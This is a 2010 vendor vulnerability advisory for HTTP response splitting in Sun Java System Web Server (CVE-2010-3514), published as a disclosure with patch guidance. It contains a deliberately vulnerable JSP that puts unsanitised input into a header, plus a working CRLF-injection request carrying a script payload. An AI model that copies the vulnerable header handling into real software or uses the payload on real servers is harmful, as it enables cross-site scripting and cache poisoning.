security-assessment.com

Vulnerability Advisory

Name	Oracle Sun Java System Web Server - HTTP Response Splitting
Vendor Website	http://docs.sun.com/app/docs/prod/sjs.websrv70?l=en
Date Released/CVE	18th October 2010 - CVE-2010-3514
Affected Software	Sun Java System Web Server 6.1, 7.0
Researcher	Roberto Suggi Liverani – roberto.suggi@security-assessment.com

Description

Security-Assessment.com discovered that is possible to successfully perform an HTTP Response Splitting attack against applications served by Sun Java System Web Server. The vulnerability can be exploited if user supplied input is used to generate the value of an HTTP header, as shown in the test.jsp page below:

test.jsp – Source Code

```
<html>
test
<%
response.setStatus(HttpServletResponse.SC_OK);
String ref = request.getParameter("ref");
response.setHeader("Referer",ref);
%>
```

The test.jsp page is vulnerable to HTTP response splitting when served by Sun Java System Web Server. HTTP Response Split can lead to Cross Site Scripting and browser cache poisoning attacks.

Exploitation

In this advisory, we will cover description of a Cross Site Scripting attack. The following HTTP GET contains a Cross Site Scripting payload which is included in the HTTP Header injection:

Injection

```
GET /test.jsp?ref=http://my.test.domain.com/%0D%0AContent-type:+text/html;%0D%0A%0D%0ATEST%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
```

By inserting CR and LF characters in the "ref" HTTP parameter, it is possible to split the HTTP response from the server as shown in the following table:

HTTP Split Response

```
HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 28 May 2010 12:44:55 GMT
Referer: http://my.test.domain.com/
Content-type: text/html;

TEST<script>alert(1)</script>
Content-type: text/html;charset=ISO-8859-1
Content-length: 22

<html>
test
```

The above example shows a JavaScript code injection in the split HTTP response. Consequently, it is possible to perform a Cross Site Scripting attack. The testing was conducted using the following settings:

- Server side: Sun-Java-System-Web-Server/7.0 Update 8 (default) installed on Windows XP SP3;
- Client side: Mozilla Firefox 3.5.8, Opera 10.10, Internet Explorer 8.

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of Sun Java System Web Server to upgrade to the latest version as soon as possible. For more information on the new release of patch for Sun Java System Web Server refer to the release notes:

http://sunsolve.sun.com/search/document.do?assetkey=1-79-1215353.1-1
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html#AppendixSUNS

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web: www.security-assessment.com
Email: info@security-assessment.com